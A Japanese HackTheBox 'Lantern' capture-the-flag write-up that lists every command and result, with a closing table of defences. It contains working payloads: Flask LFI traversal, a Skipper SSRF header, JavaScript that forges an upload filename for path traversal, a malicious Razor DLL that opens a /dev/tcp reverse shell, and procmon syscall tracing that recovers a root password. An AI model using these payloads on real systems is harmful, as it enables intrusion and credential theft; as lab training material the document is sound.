HackTheBox: Lantern — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/3000
→
22/80/3000
Flask LFI
/PrivacyAndPolicy?lang=.&ext=
→
/PrivacyAndPolicy?lang=.&ext=
Skipper Proxy SSRF
CVE-2022-38580
→
CVE-2022-38580
InternaLantern.dll
strings+base64 で admin:pass 復元
→
strings+base64 で admin:pass 復元
FileUpload パストラバーサル
DataTransfer File API注入
→
DataTransfer File API注入
悪性Razor DLL RCE
Choose module 検索
→
Choose module 検索
tomas シェル取得
user.txt ✓
→
user.txt ✓
procmon eBPF
NOPASSWD sudo
→
NOPASSWD sudo
write syscall リーク
root パスワード復元
→
root パスワード復元
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p22,80,3000 -sCV --min-rate 2000 10.129.231.115
RESULT
22/tcp open ssh OpenSSH 80/tcp open http Skipper Proxy Location: http://lantern.htb/ 3000/tcp open http Microsoft Kestrel httpd http-title: Site doesn't have a title (text/html; charset=utf-8) Service Info: OS: Linux
ℹ️
ポート80は
lantern.htbへリダイレクトするSkipper Proxy(クラウドAPIゲートウェイでよく使われるOSSリバースプロキシ)、
ポート3000はKestrel(ASP.NET Coreの組込みHTTPサーバー) — 後にBlazor Serverアプリと判明する。
/etc/hosts 設定
BASH
echo "10.129.231.115 lantern.htb" | sudo tee -a /etc/hosts
RESULT
10.129.231.115 lantern.htb
サイト概要
NOTE
port 80 (lantern.htb): IT企業の求人サイト。Flaskアプリ。 - /vacancies : 求人一覧 + 履歴書アップロードフォーム (/submit) port 3000 : "LanternAdmin" というBlazor Serverの管理ログイン画面のみ。 Username/Password フォーム。資格情報は未知。
PHASE 2
Flask アプリの LFI 発見 (/PrivacyAndPolicy)
脆弱なエンドポイントの構造
NOTE
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
lang と ext をそのまま f-string に連結しているため、file_ext に "/../../../etc/hosts"
のようなトラバーサル文字列を与えると任意ファイル読み取りができる。
重要: lang="." とすると "{lang}.{file_ext}" の連結で "." + "." = ".." となり
暗黙にもう1段 ".." が追加される点に注意(最初この計算を見誤り、常にデフォルトの
policy.pdf が返ってくる無言失敗にハマった)。
正しいペイロードでの検証
BASH
# 誤り(常にデフォルトpolicy.pdfが返る): curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=../../../etc/hosts' # 正解(先頭に "/" を付ける — 実質4段分の ".." になる): curl --globoff 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../etc/hosts'
RESULT
HTTP/1.1 200 OK
Content-Disposition: inline; filename=hosts
Content-Type: application/octet-stream
127.0.0.1 localhost lantern.htb
127.0.1.1 lantern
✅
LFI 成立確認。 以後このエンドポイントで
/opt/components/*.dll
(Blazor管理画面がロードするモジュールDLL群) を自由にダウンロードできる。
PHASE 3
Skipper Proxy SSRF (CVE-2022-38580) で内部アプリへ到達し管理者資格情報を復元
CVE-2022-38580 — Skipper Proxy SSRF
NOTE
Skipper v0.13.236 未満は X-Skipper-Proxy ヘッダを信頼し、 指定されたホスト:ポートへそのままリクエストを転送してしまう(SSRF)。 外部公開されていない内部限定サービスへの到達に使える。
BASH
curl -i -H "X-Skipper-Proxy: http://127.0.0.1:5000" "http://lantern.htb/"
RESULT
HTTP/1.1 200 OK
Content-Type: text/html
Server: Skipper Proxy
<!DOCTYPE html>
<html><head><title>InternaLantern</title>...
✅
内部限定ポート5000に “InternaLantern” という別の Blazor WebAssembly アプリ
(HR管理用、port 3000 の Blazor Serverとは別物) が稼働していることを確認。
boot.json でアセンブリの正確なファイル名を特定
BASH
curl -H "X-Skipper-Proxy: http://127.0.0.1:5000" \
"http://lantern.htb/_framework/blazor.boot.json" -o boot.json
python3 -c "import json; d=json.load(open('boot.json'));
print([k for k in d['resources']['assembly'] if not k.startswith(('Microsoft','System'))])"
RESULT
[..., 'Radzen.Blazor.dll', 'SQLitePCLRaw...dll', 'InternaLantern.dll']
⚠️
ファイル名は
InternaLantern.dll(“l” が1文字だけ、タイポではなく実際のアセンブリ名)。
ページタイトルの表示文字列 “InternaLantern” と一致している。
InternaLantern.dll を取得し埋め込み資格情報を抽出
BASH
curl -H "X-Skipper-Proxy: http://127.0.0.1:5000" \ "http://lantern.htb/_framework/InternaLantern.dll" -o InternaLantern.dll # シードされた従業員データの InternalInfo フィールド(base64)を抽出 strings -el -n 80 InternaLantern.dll | tail -8 | while read line; do echo "$line" | base64 -d; echo done
RESULT
Head of sales department, emergency contact: ..., email: john.s@example.com
HR, emergency contact: ..., email: anny.t@example.com
FullStack developer, emergency contact: ..., email: catherine.r@example.com
PR, emergency contact: ..., email: lara.s@example.com
Junior .NET developer, emergency contact: ..., email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
✅
管理者資格情報を復元:
このDLLは “InternalLantern.Pages.Internal” コンポーネントの
admin : AJbFA_Q@925p9ap#22このDLLは “InternalLantern.Pages.Internal” コンポーネントの
OnInitializedAsync が
クライアントサイドSQLiteへ初期データを投入する処理の一部で、従業員のInternalInfo列が
base64エンコードされたままシードデータとしてコンパイル済みバイナリに焼き込まれている
(DB側へのUNION SQLiでも同じ値が取得できるが、こちらの方が単純)。
PHASE 4
Blazor 管理画面ログイン → 任意ファイル書込み → 悪性 DLL RCE → user.txt
管理画面ログイン (port 3000)
NOTE
port 3000 の LanternAdmin は Blazor Server (SignalR/WebSocket経由で 全てのUI操作がサーバー側レンダリングされる方式)。単純なHTTP POSTではログインできず、 ブラウザがSignalRプロトコルを処理する必要があるため、Selenium (headless Firefox) で 実ブラウザを駆動してログインフォームを操作する。
PYTHON (Selenium)
driver.get("http://lantern.htb:3000/")
driver.find_element(By.ID, "yourUsername").send_keys("admin")
driver.find_element(By.ID, "yourPassword").send_keys("AJbFA_Q@925p9ap#22")
driver.find_element(By.CSS_SELECTOR, "button[type=submit]").click()
✅
ログイン成功。管理ダッシュボードには “Files” / “Upload content” / “Health check” /
“Logs” / “Uploaded resumes” の5モジュールと、検索窓(“Choose module”)がある。
検索窓の datalist が指す実際のモジュール名は
FileUpload / FileTree /
Logs / HealthCheck / Resumes で、いずれも
/opt/components/<名前>.dll として動的ロードされる。
FileUpload コンポーネントのパストラバーサル脆弱性
NOTE
FileUpload.dll (LFIで取得・DotPeekで逆コンパイル)の LoadFiles 関数:
string FileName = file.Name.Replace("\\", ""); // バックスラッシュだけ除去
string path = Path.Combine(
"/var/www/sites/lantern.htb/static/images", FileName);
if (!this.isFileExist(FileName)) {
await using FileStream fs = new FileStream(path, FileMode.Create);
...
}
"../" のチェックが一切無い。file.Name (ブラウザが報告するファイル名) を
そのまま Path.Combine に渡しているため、ファイル名に "../" を含められれば
任意パスへの書込みが可能。
NOTE
通常、<input type=file> でOSのファイルピッカーから選んだファイルの name には "/" を含められない(OSのファイル名制約)。そこでJavaScriptのFile APIを直接使う: new File([bytes], "任意の文字列を含む名前") は、ブラウザのJS実装上は name プロパティに制約が無く "/" を含められる。 DataTransfer オブジェクトへ偽装 File を積んで <input>.files に代入し change イベントを発火させれば、Blazorの正規のJSランタイムが そのままSignalR経由でサーバーへ送信してくれる(Burpでの手動メッセージ改ざん不要)。
PYTHON (ブラウザ内で実行するJS、execute_async_script経由)
const binStr = atob(dll_base64);
const bytes = new Uint8Array(binStr.length);
for (let i = 0; i < binStr.length; i++) bytes[i] = binStr.charCodeAt(i);
const file = new File([bytes], "../../../../../../opt/components/Component.dll",
{type: "application/octet-stream"});
const dt = new DataTransfer();
dt.items.add(file);
const input = document.querySelector("input[type=file]");
input.files = dt.files;
input.dispatchEvent(new Event("change", {bubbles: true}));
BASH (書込み成功の検証、LFI経由)
curl --globoff "http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../opt/components/Component.dll" \ -o check.bin md5sum check.bin LanternExploit.dll # 完全一致
✅
6段上の
/opt/components/Component.dll への任意ファイル書込みに成功。
画像アップロード先 (static/images) から6階層上がると /opt/components に到達する計算。
悪性 Razor クラスライブラリ DLL のビルド
BASH
dotnet new razorclasslib -o LanternExploit -f net6.0 mv LanternExploit/Component1.razor LanternExploit/Component.razor
PYTHON (Component.razor)
@using System.Diagnostics
<div class="my-component">Exploited.</div>
@code {
protected override void OnInitialized() {
Process p = new Process();
p.StartInfo.FileName = "/bin/bash";
p.StartInfo.Arguments =
"-c \"/bin/bash -i >& /dev/tcp/10.10.15.200/4447 0>&1\"";
p.StartInfo.UseShellExecute = false;
p.Start();
}
}
🚨
管理画面の “Choose module” 検索は型解決に
{検索語}.Component, {検索語}
形式を使う(.csproj のRootNamespace/AssemblyNameが検索語と
一致し、かつクラス名(ファイル名由来)は固定で Component でなければならない)。
さらに.NETの既定 AssemblyLoadContext は同名アセンブリを一度ロードすると
2回目以降は新しいバイト列を無視してキャッシュを返すため、1回失敗/再試行する
たびに namespace/assembly 名を uuid4().hex 等でユニーク化しないと
「検索成功・エラー無し」なのにシェルが来ないという紛らわしい失敗になる
(本検証では3回ハマった後に気付いた)。
モジュール検索 → RCE 発火
BASH
# リスナー起動 nc -lnvp 4447
PYTHON (Selenium: Choose module 検索)
search = driver.find_element(By.CSS_SELECTOR, "input[list=browsers]")
search.send_keys("Glint3") # ビルド時に使ったユニークな識別子
# input/change イベントを明示的に発火 (Blazorのバインディング用)
driver.execute_script("""
arguments[0].dispatchEvent(new Event('input', {bubbles:true}));
arguments[0].dispatchEvent(new Event('change', {bubbles:true}));
""", search)
[b for b in driver.find_elements(By.TAG_NAME, "button") if "Search" in b.text][0].click()
RESULT (nc リスナー側)
listening on [any] 4447 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.231.115] 37264 bash: cannot set terminal process group (2625): Inappropriate ioctl for device bash: no job control in this shell tomas@lantern:~/LanternAdmin$
✅
シェル取得成功!
tomas ユーザーとしてリバースシェルが確立した。
user.txt 取得 & SSH鍵の回収
BASH
tomas@lantern:~$ cat user.txt tomas@lantern:~$ cat ~/.ssh/id_rsa # 無条件で読取可、以後はSSH鍵認証に切替
RESULT
fca382dacafc6e59362d959478ebab54
user.txt — tomas@lantern
fca382dacafc6e59362d959478ebab54
ℹ️
以降は
ssh -i tomas_id_rsa tomas@lantern.htb で安定したSSHアクセスに切替える。
生のリバースシェル (/bin/bash -i >&/dev/tcp/...) は実PTYを持たず
no job control in this shell のため、後の procmon 権限昇格フェーズで
Ctrl-C 等の端末制御が必要になる場面では機能しない。
PHASE 5
権限昇格の下調べ — procmon と root 自動化スクリプトの発見
sudo 権限確認
BASH
tomas@lantern:~$ sudo -l
RESULT
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
ℹ️
procmon は SysInternals Procmon のLinux(eBPF)移植版。
root権限で任意プロセスの syscall をトレースできる。
root の自動化プロセスを発見
BASH
tomas@lantern:~$ ps auxww | grep -E 'expect|automation'
RESULT
root 2722 /usr/bin/expect -f /root/bot.exp root 2725 nano /root/automation.sh
🚨
root所有の expect スクリプトが定期的に nano を
起動・再起動しており、automation.sh になんらかのコマンドを打ち込んでいる
様子がうかがえる。procmon で nano プロセスの write syscall をトレースすれば、
端末へエコーされる平文の内容(=打ち込まれたコマンド)を復元できる可能性がある。
PHASE 6
procmon eBPF write-syscall キャプチャ → root パスワード復元 → root.txt
procmon 利用時の4つの罠
NOTE
1. --collect <path>(スペース区切りの長形式)は procmon 自体が
Segmentation fault する実バグ。必ず -c <path> の短縮形を使う。
2. headless (-c) モードは正常終了(SIGINT)時にのみSQLite DBを書き出す
(インクリメンタル書込みではない)。正常終了させるには「実PTY経由で
カーネルが配送する本物のSIGINT」が必須 — kill -INT <pid> のような
syscall経由のシグナル送信は、procmonがroot権限(sudo)で動いている場合
tomasのuidと一致しないため無言で失敗する。生の /dev/tcp リバースシェル
(PTY無し)では原理的にCtrl-Cが効かない。
→ 解決策: ssh -tt で実PTYを張り、pexpect の sendcontrol('c') で
生のPTY経由SIGINTを送る。
3. 監視対象(nano)は root cron的に数分おきにPIDごと再起動されており、
write syscallのバーストは「起動直後」の短い時間にしか発生しない。
既に長時間動いているPIDへ後付けでアタッチしても0イベントで終わる。
→ ps -eo pid,etimes,cmd で etimes(経過秒数)が小さい新しいPIDが
現れるまでポーリングし、見つかった瞬間にアタッチする。
4. procmonのSQLite出力の syscall/processname TEXT列は固定長バッファを
NUL終端込みでそのまま格納しており実体は "write\x00" のような値。
WHERE syscall='write' という単純な等価比較は0件ヒットで静かに失敗する。
→ LIKE 'write%' のような前方一致を使う。
起動直後の nano PID をポーリングで待つ
PYTHON (pexpect)
poll = pexpect.spawn("ssh -i tomas_id_rsa tomas@lantern.htb")
for i in range(60):
poll.sendline(
"ps -eo pid,etimes,cmd | grep '^.* nano /root/automation.sh$'")
poll.expect(r"\$\s*$")
m = re.search(r"(\d+)\s+(\d+)\s+nano /root/automation\.sh", poll.before)
if m and int(m.group(2)) <= 15: # 起動後15秒以内
nano_pid = m.group(1); break
time.sleep(5)
RESULT
[poll 9] nano pid=4171 etimes=0 ← ちょうど起動した瞬間を捕捉
実PTY経由で procmon を起動・SIGINTで正常終了
PYTHON (pexpect, ssh -tt で実PTYを確保)
child = pexpect.spawn("ssh -i tomas_id_rsa -tt tomas@lantern.htb")
child.sendline(f"rm -f /tmp/.pm.db; sudo procmon -p {nano_pid} -e write -c /tmp/.pm.db")
child.expect("Press Ctrl-C to end monitoring")
time.sleep(90) # root の自動化が write するのを待つ
child.sendcontrol('c') # 実PTY経由の本物のSIGINT
child.expect(r"\$\s*$")
child.sendline("base64 -w0 /tmp/.pm.db") # DBを吸い出す
RESULT
Writing events to /tmp/.pm.db
Total events captured: 1650
SQLite 解析でパスワードを復元
PYTHON
cur.execute(
"SELECT resultcode, timestamp, arguments FROM ebpf "
"WHERE syscall LIKE 'write%' AND processname LIKE 'nano%' "
"ORDER BY rowid")
out, last_ts = [], None
for res, ts, args in cur.fetchall():
if ts == last_ts: # nano の再描画による重複writeを畳む
continue
last_ts = ts
res = int(res or 0)
if res <= 0 or not args:
continue
buf = bytes(args)[8:8+res] # 先頭8byteはfd、以降resultcode分が実データ
out.append(buf.decode("utf-8", errors="ignore"))
text = "".join(out)
# ANSIエスケープ(カーソル制御)を除去してからパスワード行を抽出
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]|[\x00-\x08\x0e-\x1f]', '', text)
m = re.search(r"echo\s+(\S{4,40})\s*\|\s*sudo", clean)
print(m.group(1))
RESULT
echo Q3Eddtdw3pMB | sudo ./backup.sh
✅
root の自動化スクリプトが端末へ打ち込む
echo <password> | sudo ./backup.sh
という行を write syscall のトレースから平文復元できた。
su – でroot化しroot.txt取得
BASH
tomas@lantern:~$ su - Password: Q3Eddtdw3pMB root@lantern:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
3989e8f868810dc7b3afe86c54e4783f
root.txt — root@lantern
3989e8f868810dc7b3afe86c54e4783f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tomas@lantern
fca382dacafc6e59362d959478ebab54
root.txt — root@lantern
3989e8f868810dc7b3afe86c54e4783f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LFI | Flask /PrivacyAndPolicy |
内部モジュールDLLの漏洩 | Medium | lang/extパラメータの未検証なパス連結で任意ファイル読取 |
| CVE-2022-38580 | Skipper Proxy < v0.13.236 | 内部限定サービスへのSSRF | High | X-Skipper-Proxyヘッダで任意ホスト:ポートへプロキシさせ port5000 の内部HRアプリへ到達 |
| 任意ファイル書込み | Blazor FileUpload コンポーネント | リモートコード実行 (tomas) | Critical | ファイル名サニタイズ漏れ(バックスラッシュのみ除去)をJS File API偽装で突き悪性DLLを/opt/componentsへ書込み、動的ロードでRCE |
| eBPF write-syscallリーク | sudo procmon (NOPASSWD) | 権限昇格 (root) | High | root cronのnanoプロセスにアタッチし端末エコーのwrite(2)バッファから平文パスワードを復元 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/80(Skipper Proxy)/3000(Kestrel/Blazor) |
| 2 | LFI | Flask /PrivacyAndPolicyパストラバーサル | 管理モジュールDLL群のダウンロード手段を確保 |
| 3 | SSRF | CVE-2022-38580 (X-Skipper-Proxyヘッダ) | 内部HRアプリのDLLから管理者資格情報 admin:AJbFA_Q@925p9ap#22 |
| 4 | RCE | FileUploadパストラバーサル + 悪性Razor DLL | user.txt 取得(tomasシェル) |
| 5 | 権限調査 | sudo -l / ps auxww | NOPASSWD procmon、root自動化スクリプトを確認 |
| 6 | 権限昇格 | procmon eBPFトレース + write(2)バッファ解析 | root.txt 取得(root パスワード復元経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
Flask /PrivacyAndPolicyが未検証のユーザー入力をファイルパスに連結 |
werkzeug.utils.secure_filenameやホワイトリスト方式でlang/extを厳格検証する。send_fileに渡す前にos.path.realpathで正規化し許可ディレクトリ配下か確認する。 |
| Skipper Proxy が古いバージョンのままSSRF脆弱性(CVE-2022-38580)を放置 | Skipper を v0.13.236 以上へアップデートする。X-Skipper-Proxyのような転送制御ヘッダを信頼境界の外側(クライアント由来)から受理しない。 |
| コンパイル済みバイナリにシード用の平文初期パスワードを埋め込んでいる | 初期資格情報をソース/バイナリに埋め込まず、デプロイ時にランダム生成・シークレットマネージャ経由で注入する。 |
| ファイルアップロード機能のファイル名サニタイズがバックスラッシュ除去のみ | アップロードファイル名は保存に使わず、サーバー側でUUID等を採番する。やむを得ずユーザー入力を使う場合はPath.GetFileName()でディレクトリ要素を完全に除去し、最終的な保存パスが許可ディレクトリ配下にあることをPath.GetFullPathで再検証する。 |
| root権限のcron/自動化スクリプトが端末(nano)へ平文パスワードを打ち込んでおり、eBPFトレースツールのNOPASSWD実行権限から読み取れてしまう | 自動化スクリプトでの秘密情報入力は対話的な端末エコーを避け、環境変数や一時ファイル(即座にshred)経由にする。NOPASSWDで許可するコマンドは本当に必要最小限に絞り、eBPF/strace系ツールのsudo許可は特に慎重に扱う。 |

